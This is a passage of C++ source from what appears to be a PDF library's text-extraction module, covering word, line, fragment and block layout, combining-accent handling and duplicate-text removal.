y1A; horiz = y0 == y1; } ~TextUnderline() {} double x0, y0, x1, y1; GBool horiz; }; //------------------------------------------------------------------------ // TextLink //------------------------------------------------------------------------ class TextLink { public: TextLink(int xMinA, int yMinA, int xMaxA, int yMaxA, AnnotLink *linkA) { xMin = xMinA; yMin = yMinA; xMax = xMaxA; yMax = yMaxA; link = linkA; } ~TextLink() {} int xMin, yMin, xMax, yMax; AnnotLink *link; }; //------------------------------------------------------------------------ // TextFontInfo //------------------------------------------------------------------------ TextFontInfo::TextFontInfo(GfxState *state) { gfxFont = state->getFont(); if (gfxFont) gfxFont->incRefCnt(); #if TEXTOUT_WORD_LIST fontName = (gfxFont && gfxFont->getName()) ? gfxFont->getName()->copy() : (GooString *)NULL; flags = gfxFont ? gfxFont->getFlags() : 0; #endif } TextFontInfo::~TextFontInfo() { if (gfxFont) gfxFont->decRefCnt(); #if TEXTOUT_WORD_LIST if (fontName) { delete fontName; } #endif } GBool TextFontInfo::matches(GfxState *state) { return state->getFont() == gfxFont; } GBool TextFontInfo::matches(TextFontInfo *fontInfo) { return gfxFont == fontInfo->gfxFont; } double TextFontInfo::getAscent() { return gfxFont ? gfxFont->getAscent() : 0.95; } double TextFontInfo::getDescent() { return gfxFont ? gfxFont->getDescent() : -0.35; } int TextFontInfo::getWMode() { return gfxFont ? gfxFont->getWMode() : 0; } //------------------------------------------------------------------------ // TextWord //------------------------------------------------------------------------ TextWord::TextWord(GfxState *state, int rotA, double fontSizeA) { rot = rotA; fontSize = fontSizeA; text = NULL; charcode = NULL; edge = NULL; charPos = NULL; font = NULL; textMat = NULL; len = size = 0; spaceAfter = gFalse; next = NULL; #if TEXTOUT_WORD_LIST GfxRGB rgb; if ((state->getRender() & 3) == 1) { state->getStrokeRGB(&rgb); } else { state->getFillRGB(&rgb); } colorR = colToDbl(rgb.r); colorG = colToDbl(rgb.g); colorB = colToDbl(rgb.b); #endif underlined = gFalse; link = NULL; } TextWord::~TextWord() { gfree(text); gfree(charcode); gfree(edge); gfree(charPos); gfree(font); gfree(textMat); } void TextWord::addChar(GfxState *state, TextFontInfo *fontA, double x, double y, double dx, double dy, int charPosA, int charLen, CharCode c, Unicode u, const Matrix &textMatA) { ensureCapacity(len+1); text[len] = u; charcode[len] = c; charPos[len] = charPosA; charPos[len + 1] = charPosA + charLen; font[len] = fontA; textMat[len] = textMatA; if (len == 0) setInitialBounds(fontA, x, y); if (wMode) { // vertical writing mode // NB: the rotation value has been incremented by 1 (in // TextPage::beginWord()) for vertical writing mode switch (rot) { case 0: edge[len] = x - fontSize; xMax = edge[len+1] = x; break; case 1: edge[len] = y - fontSize; yMax = edge[len+1] = y; break; case 2: edge[len] = x + fontSize; xMin = edge[len+1] = x; break; case 3: edge[len] = y + fontSize; yMin = edge[len+1] = y; break; } } else { // horizontal writing mode switch (rot) { case 0: edge[len] = x; xMax = edge[len+1] = x + dx; break; case 1: edge[len] = y; yMax = edge[len+1] = y + dy; break; case 2: edge[len] = x; xMin = edge[len+1] = x + dx; break; case 3: edge[len] = y; yMin = edge[len+1] = y + dy; break; } } ++len; } void TextWord::setInitialBounds(TextFontInfo *fontA, double x, double y) { double ascent = fontA->getAscent() * fontSize; double descent = fontA->getDescent() * fontSize; wMode = fontA->getWMode(); if (wMode) { // vertical writing mode // NB: the rotation value has been incremented by 1 (in // TextPage::beginWord()) for vertical writing mode switch (rot) { case 0: xMin = x - fontSize; yMin = y - fontSize; yMax = y; base = y; break; case 1: xMin = x; yMin = y - fontSize; xMax = x + fontSize; base = x; break; case 2: yMin = y; xMax = x + fontSize; yMax = y + fontSize; base = y; break; case 3: xMin = x - fontSize; xMax = x; yMax = y + fontSize; base = x; break; } } else { // horizontal writing mode switch (rot) { case 0: xMin = x; yMin = y - ascent; yMax = y - descent; if (yMin == yMax) { // this is a sanity check for a case that shouldn't happen -- but // if it does happen, we want to avoid dividing by zero later yMin = y; yMax = y + 1; } base = y; break; case 1: xMin = x + descent; yMin = y; xMax = x + ascent; if (xMin == xMax) { // this is a sanity check for a case that shouldn't happen -- but // if it does happen, we want to avoid dividing by zero later xMin = x; xMax = x + 1; } base = x; break; case 2: yMin = y + descent; xMax = x; yMax = y + ascent; if (yMin == yMax) { // this is a sanity check for a case that shouldn't happen -- but // if it does happen, we want to avoid dividing by zero later yMin = y; yMax = y + 1; } base = y; break; case 3: xMin = x - ascent; xMax = x - descent; yMax = y; if (xMin == xMax) { // this is a sanity check for a case that shouldn't happen -- but // if it does happen, we want to avoid dividing by zero later xMin = x; xMax = x + 1; } base = x; break; } } } void TextWord::ensureCapacity(int capacity) { if (capacity > size) { size = std::max(size + 16, capacity); text = (Unicode *)greallocn(text, size, sizeof(Unicode)); charcode = (CharCode *)greallocn(charcode, (size + 1), sizeof(CharCode)); edge = (double *)greallocn(edge, (size + 1), sizeof(double)); charPos = (int *)greallocn(charPos, size + 1, sizeof(int)); font = (TextFontInfo **)greallocn(font, size, sizeof(TextFontInfo *)); textMat = (Matrix *)greallocn(textMat, size, sizeof(Matrix)); } } struct CombiningTable { Unicode base; Unicode comb; }; static struct CombiningTable combiningTable[] = { {0x0060, 0x0300}, // grave {0x00a8, 0x0308}, // dieresis {0x00af, 0x0304}, // macron {0x00b4, 0x0301}, // acute {0x00b8, 0x0327}, // cedilla {0x02c6, 0x0302}, // circumflex {0x02c7, 0x030c}, // caron {0x02d8, 0x0306}, // breve {0x02d9, 0x0307}, // dotaccent {0x02da, 0x030a}, // ring {0x02dc, 0x0303}, // tilde {0x02dd, 0x030b} // hungarumlaut (double acute accent) }; // returning combining versions of characters Unicode getCombiningChar(Unicode u) { int len = sizeof(combiningTable) / sizeof(combiningTable[0]); for (int i = 0; i < len; ++i) { if (u == combiningTable[i].base) return combiningTable[i].comb; } return 0; } GBool TextWord::addCombining(GfxState *state, TextFontInfo *fontA, double fontSizeA, double x, double y, double dx, double dy, int charPosA, int charLen, CharCode c, Unicode u, const Matrix &textMatA) { if (len == 0 || wMode != 0 || fontA->getWMode() != 0) return gFalse; Unicode cCurrent = getCombiningChar(u); Unicode cPrev = getCombiningChar(text[len-1]); double edgeMid = (edge[len-1] + edge[len]) / 2; double charMid, maxScaledMidDelta, charBase, maxScaledBaseDelta; if (cCurrent != 0 && unicodeTypeAlphaNum(text[len-1])) { // Current is a combining character, previous is base character maxScaledMidDelta = fabs(edge[len] - edge[len-1]) * combMaxMidDelta; charMid = charBase = maxScaledBaseDelta = 0; // Test if characters overlap if (rot == 0 || rot == 2) { charMid = x + (dx / 2); charBase = y; maxScaledBaseDelta = (yMax - yMin) * combMaxBaseDelta; } else { charMid = y + (dy / 2); charBase = x; maxScaledBaseDelta = (xMax - xMin) * combMaxBaseDelta; } if (fabs(charMid - edgeMid) >= maxScaledMidDelta || fabs(charBase - base) >= maxScaledBaseDelta) return gFalse; // Add character, but don't adjust edge / bounding box because // combining character's positioning could be odd. ensureCapacity(len+1); text[len] = cCurrent; charcode[len] = c; charPos[len] = charPosA; charPos[len+1] = charPosA + charLen; font[len] = fontA; textMat[len] = textMatA; edge[len+1] = edge[len]; edge[len] = (edge[len+1] + edge[len-1]) / 2; ++len; return gTrue; } if (cPrev != 0 && unicodeTypeAlphaNum(u)) { // Previous is a combining character, current is base character maxScaledBaseDelta = (fontA->getAscent() - fontA->getDescent()) * fontSizeA * combMaxBaseDelta; charMid = charBase = maxScaledMidDelta = 0; // Test if characters overlap if (rot == 0 || rot == 2) { charMid = x + (dx / 2); charBase = y; maxScaledMidDelta = fabs(dx * combMaxMidDelta); } else { charMid = y + (dy / 2); charBase = x; maxScaledMidDelta = fabs(dy * combMaxMidDelta); } if (fabs(charMid - edgeMid) >= maxScaledMidDelta || fabs(charBase - base) >= maxScaledBaseDelta) return gFalse; // move combining character to after base character ensureCapacity(len+1); fontSize = fontSizeA; text[len] = cPrev; charcode[len] = charcode[len-1]; charPos[len] = charPosA; charPos[len+1] = charPosA + charLen; font[len] = font[len-1]; textMat[len] = textMat[len-1]; text[len-1] = u; charcode[len-1] = c; font[len-1] = fontA; textMat[len-1] = textMatA; if (len == 1) setInitialBounds(fontA, x, y); // Updated edges / bounding box because we changed the base // character. if (wMode) { switch (rot) { case 0: edge[len-1] = x - fontSize; xMax = edge[len+1] = x; break; case 1: edge[len-1] = y - fontSize; yMax = edge[len+1] = y; break; case 2: edge[len-1] = x + fontSize; xMin = edge[len+1] = x; break; case 3: edge[len-1] = y + fontSize; yMin = edge[len+1] = y; break; } } else { switch (rot) { case 0: edge[len-1] = x; xMax = edge[len+1] = x + dx; break; case 1: edge[len-1] = y; yMax = edge[len+1] = y + dy; break; case 2: edge[len-1] = x; xMin = edge[len+1] = x + dx; break; case 3: edge[len-1] = y; yMin = edge[len+1] = y + dy; break; } } edge[len] = (edge[len+1] + edge[len-1]) / 2; ++len; return gTrue; } return gFalse; } void TextWord::merge(TextWord *word) { int i; if (word->xMin < xMin) { xMin = word->xMin; } if (word->yMin < yMin) { yMin = word->yMin; } if (word->xMax > xMax) { xMax = word->xMax; } if (word->yMax > yMax) { yMax = word->yMax; } ensureCapacity(len + word->len); for (i = 0; i < word->len; ++i) { text[len + i] = word->text[i]; charcode[len + i] = word->charcode[i]; edge[len + i] = word->edge[i]; charPos[len + i] = word->charPos[i]; font[len + i] = word->font[i]; textMat[len + i] = word->textMat[i]; } edge[len + word->len] = word->edge[word->len]; charPos[len + word->len] = word->charPos[word->len]; len += word->len; } inline int TextWord::primaryCmp(TextWord *word) { double cmp; cmp = 0; // make gcc happy switch (rot) { case 0: cmp = xMin - word->xMin; break; case 1: cmp = yMin - word->yMin; break; case 2: cmp = word->xMax - xMax; break; case 3: cmp = word->yMax - yMax; break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } double TextWord::primaryDelta(TextWord *word) { double delta; delta = 0; // make gcc happy switch (rot) { case 0: delta = word->xMin - xMax; break; case 1: delta = word->yMin - yMax; break; case 2: delta = xMin - word->xMax; break; case 3: delta = yMin - word->yMax; break; } return delta; } int TextWord::cmpYX(const void *p1, const void *p2) { TextWord *word1 = *(TextWord **)p1; TextWord *word2 = *(TextWord **)p2; double cmp; cmp = word1->yMin - word2->yMin; if (cmp == 0) { cmp = word1->xMin - word2->xMin; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } #if TEXTOUT_WORD_LIST GooString *TextWord::getText() { GooString *s; UnicodeMap *uMap; char buf[8]; int n, i; s = new GooString(); if (!(uMap = globalParams->getTextEncoding())) { return s; } for (i = 0; i < len; ++i) { n = uMap->mapUnicode(text[i], buf, sizeof(buf)); s->append(buf, n); } uMap->decRefCnt(); return s; } void TextWord::getCharBBox(int charIdx, double *xMinA, double *yMinA, double *xMaxA, double *yMaxA) { if (charIdx < 0 || charIdx >= len) { return; } switch (rot) { case 0: *xMinA = edge[charIdx]; *xMaxA = edge[charIdx + 1]; *yMinA = yMin; *yMaxA = yMax; break; case 1: *xMinA = xMin; *xMaxA = xMax; *yMinA = edge[charIdx]; *yMaxA = edge[charIdx + 1]; break; case 2: *xMinA = edge[charIdx + 1]; *xMaxA = edge[charIdx]; *yMinA = yMin; *yMaxA = yMax; break; case 3: *xMinA = xMin; *xMaxA = xMax; *yMinA = edge[charIdx + 1]; *yMaxA = edge[charIdx]; break; } } #endif // TEXTOUT_WORD_LIST //------------------------------------------------------------------------ // TextPool //------------------------------------------------------------------------ TextPool::TextPool() { minBaseIdx = 0; maxBaseIdx = -1; pool = NULL; cursor = NULL; cursorBaseIdx = -1; } TextPool::~TextPool() { int baseIdx; TextWord *word, *word2; for (baseIdx = minBaseIdx; baseIdx <= maxBaseIdx; ++baseIdx) { for (word = pool[baseIdx - minBaseIdx]; word; word = word2) { word2 = word->next; delete word; } } gfree(pool); } int TextPool::getBaseIdx(double base) { int baseIdx; baseIdx = (int)(base / textPoolStep); if (baseIdx < minBaseIdx) { return minBaseIdx; } if (baseIdx > maxBaseIdx) { return maxBaseIdx; } return baseIdx; } void TextPool::addWord(TextWord *word) { TextWord **newPool; int wordBaseIdx, newMinBaseIdx, newMaxBaseIdx, baseIdx; TextWord *w0, *w1; // expand the array if needed if (unlikely((word->base / textPoolStep) > INT_MAX)) { error(errSyntaxWarning, -1, "word->base / textPoolStep > INT_MAX"); return; } wordBaseIdx = (int)(word->base / textPoolStep); if (minBaseIdx > maxBaseIdx) { minBaseIdx = wordBaseIdx - 128; maxBaseIdx = wordBaseIdx + 128; pool = (TextWord **)gmallocn(maxBaseIdx - minBaseIdx + 1, sizeof(TextWord *)); for (baseIdx = minBaseIdx; baseIdx <= maxBaseIdx; ++baseIdx) { pool[baseIdx - minBaseIdx] = NULL; } } else if (wordBaseIdx < minBaseIdx) { newMinBaseIdx = wordBaseIdx - 128; newPool = (TextWord **)gmallocn(maxBaseIdx - newMinBaseIdx + 1, sizeof(TextWord *)); for (baseIdx = newMinBaseIdx; baseIdx < minBaseIdx; ++baseIdx) { newPool[baseIdx - newMinBaseIdx] = NULL; } memcpy(&newPool[minBaseIdx - newMinBaseIdx], pool, (maxBaseIdx - minBaseIdx + 1) * sizeof(TextWord *)); gfree(pool); pool = newPool; minBaseIdx = newMinBaseIdx; } else if (wordBaseIdx > maxBaseIdx) { newMaxBaseIdx = wordBaseIdx + 128; pool = (TextWord **)greallocn(pool, newMaxBaseIdx - minBaseIdx + 1, sizeof(TextWord *)); for (baseIdx = maxBaseIdx + 1; baseIdx <= newMaxBaseIdx; ++baseIdx) { pool[baseIdx - minBaseIdx] = NULL; } maxBaseIdx = newMaxBaseIdx; } // insert the new word if (cursor && wordBaseIdx == cursorBaseIdx && word->primaryCmp(cursor) >= 0) { w0 = cursor; w1 = cursor->next; } else { w0 = NULL; w1 = pool[wordBaseIdx - minBaseIdx]; } for (; w1 && word->primaryCmp(w1) > 0; w0 = w1, w1 = w1->next) ; word->next = w1; if (w0) { w0->next = word; } else { pool[wordBaseIdx - minBaseIdx] = word; } cursor = word; cursorBaseIdx = wordBaseIdx; } //------------------------------------------------------------------------ // TextLine //------------------------------------------------------------------------ TextLine::TextLine(TextBlock *blkA, int rotA, double baseA) { blk = blkA; rot = rotA; base = baseA; words = lastWord = NULL; text = NULL; edge = NULL; col = NULL; len = 0; convertedLen = 0; hyphenated = gFalse; next = NULL; xMin = yMin = 0; xMax = yMax = -1; normalized = NULL; normalized_len = 0; normalized_idx = NULL; } TextLine::~TextLine() { TextWord *word; while (words) { word = words; words = words->next; delete word; } gfree(text); gfree(edge); gfree(col); if (normalized) { gfree(normalized); gfree(normalized_idx); } } void TextLine::addWord(TextWord *word) { if (lastWord) { lastWord->next = word; } else { words = word; } lastWord = word; if (xMin > xMax) { xMin = word->xMin; xMax = word->xMax; yMin = word->yMin; yMax = word->yMax; } else { if (word->xMin < xMin) { xMin = word->xMin; } if (word->xMax > xMax) { xMax = word->xMax; } if (word->yMin < yMin) { yMin = word->yMin; } if (word->yMax > yMax) { yMax = word->yMax; } } } double TextLine::primaryDelta(TextLine *line) { double delta; delta = 0; // make gcc happy switch (rot) { case 0: delta = line->xMin - xMax; break; case 1: delta = line->yMin - yMax; break; case 2: delta = xMin - line->xMax; break; case 3: delta = yMin - line->yMax; break; } return delta; } int TextLine::primaryCmp(TextLine *line) { double cmp; cmp = 0; // make gcc happy switch (rot) { case 0: cmp = xMin - line->xMin; break; case 1: cmp = yMin - line->yMin; break; case 2: cmp = line->xMax - xMax; break; case 3: cmp = line->yMax - yMax; break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } int TextLine::secondaryCmp(TextLine *line) { double cmp; cmp = (rot == 0 || rot == 3) ? base - line->base : line->base - base; return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } int TextLine::cmpYX(TextLine *line) { int cmp; if ((cmp = secondaryCmp(line))) { return cmp; } return primaryCmp(line); } int TextLine::cmpXY(const void *p1, const void *p2) { TextLine *line1 = *(TextLine **)p1; TextLine *line2 = *(TextLine **)p2; int cmp; if ((cmp = line1->primaryCmp(line2))) { return cmp; } return line1->secondaryCmp(line2); } void TextLine::coalesce(UnicodeMap *uMap) { TextWord *word0, *word1; double space, delta, minSpace; GBool isUnicode; char buf[8]; int i, j; if (words->next) { // compute the inter-word space threshold if (words->len > 1 || words->next->len > 1) { minSpace = 0; } else { minSpace = words->primaryDelta(words->next); for (word0 = words->next, word1 = word0->next; word1 && minSpace > 0; word0 = word1, word1 = word0->next) { if (word1->len > 1) { minSpace = 0; } delta = word0->primaryDelta(word1); if (delta < minSpace) { minSpace = delta; } } } if (minSpace <= 0) { space = maxCharSpacing * words->fontSize; } else { space = maxWideCharSpacingMul * minSpace; if (space > maxWideCharSpacing * words->fontSize) { space = maxWideCharSpacing * words->fontSize; } } // merge words word0 = words; word1 = words->next; while (word1) { if (word0->primaryDelta(word1) >= space) { word0->spaceAfter = gTrue; word0 = word1; word1 = word1->next; } else if (word0->font[word0->len - 1] == word1->font[0] && word0->underlined == word1->underlined && fabs(word0->fontSize - word1->fontSize) < maxWordFontSizeDelta * words->fontSize && word1->charPos[0] == word0->charPos[word0->len]) { word0->merge(word1); word0->next = word1->next; delete word1; word1 = word0->next; } else { word0 = word1; word1 = word1->next; } } } // build the line text isUnicode = uMap ? uMap->isUnicode() : gFalse; len = 0; for (word1 = words; word1; word1 = word1->next) { len += word1->len; if (word1->spaceAfter) { ++len; } } text = (Unicode *)gmallocn(len, sizeof(Unicode)); edge = (double *)gmallocn(len + 1, sizeof(double)); i = 0; for (word1 = words; word1; word1 = word1->next) { for (j = 0; j < word1->len; ++j) { text[i] = word1->text[j]; edge[i] = word1->edge[j]; ++i; } edge[i] = word1->edge[word1->len]; if (word1->spaceAfter) { text[i] = (Unicode)0x0020; ++i; } } // compute convertedLen and set up the col array col = (int *)gmallocn(len + 1, sizeof(int)); convertedLen = 0; for (i = 0; i < len; ++i) { col[i] = convertedLen; if (isUnicode) { ++convertedLen; } else if (uMap) { convertedLen += uMap->mapUnicode(text[i], buf, sizeof(buf)); } } col[len] = convertedLen; // check for hyphen at end of line //~ need to check for other chars used as hyphens hyphenated = text[len - 1] == (Unicode)'-'; } //------------------------------------------------------------------------ // TextLineFrag //------------------------------------------------------------------------ class TextLineFrag { public: TextLine *line; // the line object int start, len; // offset and length of this fragment // (in Unicode chars) double xMin, xMax; // bounding box coordinates double yMin, yMax; double base; // baseline virtual coordinate int col; // first column void init(TextLine *lineA, int startA, int lenA); void computeCoords(GBool oneRot); static int cmpYXPrimaryRot(const void *p1, const void *p2); static int cmpYXLineRot(const void *p1, const void *p2); static int cmpXYLineRot(const void *p1, const void *p2); static int cmpXYColumnPrimaryRot(const void *p1, const void *p2); static int cmpXYColumnLineRot(const void *p1, const void *p2); }; void TextLineFrag::init(TextLine *lineA, int startA, int lenA) { line = lineA; start = startA; len = lenA; col = line->col[start]; } void TextLineFrag::computeCoords(GBool oneRot) { TextBlock *blk; double d0, d1, d2, d3, d4; if (oneRot) { switch (line->rot) { case 0: xMin = line->edge[start]; xMax = line->edge[start + len]; yMin = line->yMin; yMax = line->yMax; break; case 1: xMin = line->xMin; xMax = line->xMax; yMin = line->edge[start]; yMax = line->edge[start + len]; break; case 2: xMin = line->edge[start + len]; xMax = line->edge[start]; yMin = line->yMin; yMax = line->yMax; break; case 3: xMin = line->xMin; xMax = line->xMax; yMin = line->edge[start + len]; yMax = line->edge[start]; break; } base = line->base; } else { if (line->rot == 0 && line->blk->page->primaryRot == 0) { xMin = line->edge[start]; xMax = line->edge[start + len]; yMin = line->yMin; yMax = line->yMax; base = line->base; } else { blk = line->blk; d0 = line->edge[start]; d1 = line->edge[start + len]; d2 = d3 = d4 = 0; // make gcc happy switch (line->rot) { case 0: d2 = line->yMin; d3 = line->yMax; d4 = line->base; d0 = (d0 - blk->xMin) / (blk->xMax - blk->xMin); d1 = (d1 - blk->xMin) / (blk->xMax - blk->xMin); d2 = (d2 - blk->yMin) / (blk->yMax - blk->yMin); d3 = (d3 - blk->yMin) / (blk->yMax - blk->yMin); d4 = (d4 - blk->yMin) / (blk->yMax - blk->yMin); break; case 1: d2 = line->xMax; d3 = line->xMin; d4 = line->base; d0 = (d0 - blk->yMin) / (blk->yMax - blk->yMin); d1 = (d1 - blk->yMin) / (blk->yMax - blk->yMin); d2 = (blk->xMax - d2) / (blk->xMax - blk->xMin); d3 = (blk->xMax - d3) / (blk->xMax - blk->xMin); d4 = (blk->xMax - d4) / (blk->xMax - blk->xMin); break; case 2: d2 = line->yMax; d3 = line->yMin; d4 = line->base; d0 = (blk->xMax - d0) / (blk->xMax - blk->xMin); d1 = (blk->xMax - d1) / (blk->xMax - blk->xMin); d2 = (blk->yMax - d2) / (blk->yMax - blk->yMin); d3 = (blk->yMax - d3) / (blk->yMax - blk->yMin); d4 = (blk->yMax - d4) / (blk->yMax - blk->yMin); break; case 3: d2 = line->xMin; d3 = line->xMax; d4 = line->base; d0 = (blk->yMax - d0) / (blk->yMax - blk->yMin); d1 = (blk->yMax - d1) / (blk->yMax - blk->yMin); d2 = (d2 - blk->xMin) / (blk->xMax - blk->xMin); d3 = (d3 - blk->xMin) / (blk->xMax - blk->xMin); d4 = (d4 - blk->xMin) / (blk->xMax - blk->xMin); break; } switch (line->blk->page->primaryRot) { case 0: xMin = blk->xMin + d0 * (blk->xMax - blk->xMin); xMax = blk->xMin + d1 * (blk->xMax - blk->xMin); yMin = blk->yMin + d2 * (blk->yMax - blk->yMin); yMax = blk->yMin + d3 * (blk->yMax - blk->yMin); base = blk->yMin + d4 * (blk->yMax - blk->yMin); break; case 1: xMin = blk->xMax - d3 * (blk->xMax - blk->xMin); xMax = blk->xMax - d2 * (blk->xMax - blk->xMin); yMin = blk->yMin + d0 * (blk->yMax - blk->yMin); yMax = blk->yMin + d1 * (blk->yMax - blk->yMin); base = blk->xMax - d4 * (blk->xMax - blk->xMin); break; case 2: xMin = blk->xMax - d1 * (blk->xMax - blk->xMin); xMax = blk->xMax - d0 * (blk->xMax - blk->xMin); yMin = blk->yMax - d3 * (blk->yMax - blk->yMin); yMax = blk->yMax - d2 * (blk->yMax - blk->yMin); base = blk->yMax - d4 * (blk->yMax - blk->yMin); break; case 3: xMin = blk->xMin + d2 * (blk->xMax - blk->xMin); xMax = blk->xMin + d3 * (blk->xMax - blk->xMin); yMin = blk->yMax - d1 * (blk->yMax - blk->yMin); yMax = blk->yMax - d0 * (blk->yMax - blk->yMin); base = blk->xMin + d4 * (blk->xMax - blk->xMin); break; } } } } int TextLineFrag::cmpYXPrimaryRot(const void *p1, const void *p2) { TextLineFrag *frag1 = (TextLineFrag *)p1; TextLineFrag *frag2 = (TextLineFrag *)p2; double cmp; cmp = 0; // make gcc happy switch (frag1->line->blk->page->primaryRot) { case 0: if (fabs(cmp = frag1->yMin - frag2->yMin) < 0.01) { cmp = frag1->xMin - frag2->xMin; } break; case 1: if (fabs(cmp = frag2->xMax - frag1->xMax) < 0.01) { cmp = frag1->yMin - frag2->yMin; } break; case 2: if (fabs(cmp = frag2->yMin - frag1->yMin) < 0.01) { cmp = frag2->xMax - frag1->xMax; } break; case 3: if (fabs(cmp = frag1->xMax - frag2->xMax) < 0.01) { cmp = frag2->yMax - frag1->yMax; } break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } int TextLineFrag::cmpYXLineRot(const void *p1, const void *p2) { TextLineFrag *frag1 = (TextLineFrag *)p1; TextLineFrag *frag2 = (TextLineFrag *)p2; double cmp; cmp = 0; // make gcc happy switch (frag1->line->rot) { case 0: if ((cmp = frag1->yMin - frag2->yMin) == 0) { cmp = frag1->xMin - frag2->xMin; } break; case 1: if ((cmp = frag2->xMax - frag1->xMax) == 0) { cmp = frag1->yMin - frag2->yMin; } break; case 2: if ((cmp = frag2->yMin - frag1->yMin) == 0) { cmp = frag2->xMax - frag1->xMax; } break; case 3: if ((cmp = frag1->xMax - frag2->xMax) == 0) { cmp = frag2->yMax - frag1->yMax; } break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } int TextLineFrag::cmpXYLineRot(const void *p1, const void *p2) { TextLineFrag *frag1 = (TextLineFrag *)p1; TextLineFrag *frag2 = (TextLineFrag *)p2; double cmp; cmp = 0; // make gcc happy switch (frag1->line->rot) { case 0: if ((cmp = frag1->xMin - frag2->xMin) == 0) { cmp = frag1->yMin - frag2->yMin; } break; case 1: if ((cmp = frag1->yMin - frag2->yMin) == 0) { cmp = frag2->xMax - frag1->xMax; } break; case 2: if ((cmp = frag2->xMax - frag1->xMax) == 0) { cmp = frag2->yMin - frag1->yMin; } break; case 3: if ((cmp = frag2->yMax - frag1->yMax) == 0) { cmp = frag1->xMax - frag2->xMax; } break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } int TextLineFrag::cmpXYColumnPrimaryRot(const void *p1, const void *p2) { TextLineFrag *frag1 = (TextLineFrag *)p1; TextLineFrag *frag2 = (TextLineFrag *)p2; double cmp; // if columns overlap, compare y values if (frag1->col < frag2->col + (frag2->line->col[frag2->start + frag2->len] - frag2->line->col[frag2->start]) && frag2->col < frag1->col + (frag1->line->col[frag1->start + frag1->len] - frag1->line->col[frag1->start])) { cmp = 0; // make gcc happy switch (frag1->line->blk->page->primaryRot) { case 0: cmp = frag1->yMin - frag2->yMin; break; case 1: cmp = frag2->xMax - frag1->xMax; break; case 2: cmp = frag2->yMin - frag1->yMin; break; case 3: cmp = frag1->xMax - frag2->xMax; break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } // otherwise, compare starting column return frag1->col - frag2->col; } int TextLineFrag::cmpXYColumnLineRot(const void *p1, const void *p2) { TextLineFrag *frag1 = (TextLineFrag *)p1; TextLineFrag *frag2 = (TextLineFrag *)p2; double cmp; // if columns overlap, compare y values if (frag1->col < frag2->col + (frag2->line->col[frag2->start + frag2->len] - frag2->line->col[frag2->start]) && frag2->col < frag1->col + (frag1->line->col[frag1->start + frag1->len] - frag1->line->col[frag1->start])) { cmp = 0; // make gcc happy switch (frag1->line->rot) { case 0: cmp = frag1->yMin - frag2->yMin; break; case 1: cmp = frag2->xMax - frag1->xMax; break; case 2: cmp = frag2->yMin - frag1->yMin; break; case 3: cmp = frag1->xMax - frag2->xMax; break; } return cmp < 0 ? -1 : cmp > 0 ? 1 : 0; } // otherwise, compare starting column return frag1->col - frag2->col; } //------------------------------------------------------------------------ // TextBlock //------------------------------------------------------------------------ TextBlock::TextBlock(TextPage *pageA, int rotA) { page = pageA; rot = rotA; xMin = yMin = 0; xMax = yMax = -1; priMin = 0; priMax = page->pageWidth; pool = new TextPool(); lines = NULL; curLine = NULL; next = NULL; stackNext = NULL; tableId = -1; tableEnd = gFalse; } TextBlock::~TextBlock() { TextLine *line; delete pool; while (lines) { line = lines; lines = lines->next; delete line; } } void TextBlock::addWord(TextWord *word) { pool->addWord(word); if (xMin > xMax) { xMin = word->xMin; xMax = word->xMax; yMin = word->yMin; yMax = word->yMax; } else { if (word->xMin < xMin) { xMin = word->xMin; } if (word->xMax > xMax) { xMax = word->xMax; } if (word->yMin < yMin) { yMin = word->yMin; } if (word->yMax > yMax) { yMax = word->yMax; } } } void TextBlock::coalesce(UnicodeMap *uMap, double fixedPitch) { TextWord *word0, *word1, *word2, *bestWord0, *bestWord1, *lastWord; TextLine *line, *line0, *line1; int poolMinBaseIdx, startBaseIdx, minBaseIdx, maxBaseIdx; int baseIdx, bestWordBaseIdx, idx0, idx1; double minBase, maxBase; double fontSize, wordSpacing, delta, priDelta, secDelta; TextLine **lineArray; GBool found, overlap; int col1, col2; int i, j, k; // discard duplicated text (fake boldface, drop shadows) for (idx0 = pool->minBaseIdx; idx0 <= pool->maxBaseIdx; ++idx0) { word0 = pool->getPool(idx0); while (word0) { priDelta = dupMaxPriDelta * word0->fontSize; secDelta = dupMaxSecDelta * word0->fontSize; maxBaseIdx = pool->getBaseIdx(word0->base + secDelta); found = gFalse; word1 = word2 = NULL; // make gcc happy for (idx1 = idx0; idx1 <= maxBaseIdx; ++idx1) { if (idx1 == idx0) { word1 = word0; word2 = word0->next; } else { word1 = NULL; word2 = pool->getPool(idx1); } for (; word2; word1 = word2, word2 = word2->next) { if (word2->len == word0->len && !memcmp(word2->text, word0->text, word0->len * sizeof(Unicode))) { switch (rot) { case 0: case 2: found = fabs(word0->xMin - word2->xMin) < priDelta && fabs(word0->xMax - word2->xMax) < priDelta && fabs(word0->yMin - word2->yMin) < secDelta && fabs(word0->yMax - word2->yMax) < secDelta; break; case 1: case 3: found = fabs(word0->xMin - word2->xMin) < secDelta && fabs(word0->xMax - word2->xMax) < secDelta && fabs(word0->yMin - word2->yMin) < priDelta && fabs(word0->yMax - word2->yMax) < priDelta; break; } } if (found) { break; } } if (found) { break; } } if (found) { if (word1) { word1->next = word2->next; } else { pool->setPool(idx1, word2->next); } delete word2; } else { word0 = word0->next; } } } // build the lines curLine = NULL; poolMinBaseIdx = pool->minBaseIdx; charCount = 0; nLines = 0; while (1) { // find the first non-empty line in the pool for (; poolMinBaseIdx <= pool->maxBaseIdx && !pool->getPool(poolMinBaseIdx); ++poolMinBaseIdx) ; if (poolMinBaseIdx > pool->maxBaseIdx) { break; } // look for the left-most word in the first four lines of the // pool -- this avoids starting with a superscript word startBaseIdx = poolMinBaseIdx; for (baseIdx = poolMinBaseIdx + 1; baseIdx < poolMinBaseIdx + 4 && baseIdx <= pool->maxBaseIdx; ++baseIdx) { if (!pool->getPool(baseIdx)) { continue; } if (pool->getPool(baseIdx)->primaryCmp(pool->getPool(startBaseIdx)) < 0) { startBaseIdx = baseIdx; } } // create a new line word0 = pool->getPool(startBaseIdx); pool->setPool(startBaseIdx, word0->next); word0->next = NULL; line = new TextLine(this, word0->rot, word0->base); line->addWord(word0); lastWord = word0; // compute the search range fontSize = word0->fontSize; minBase = 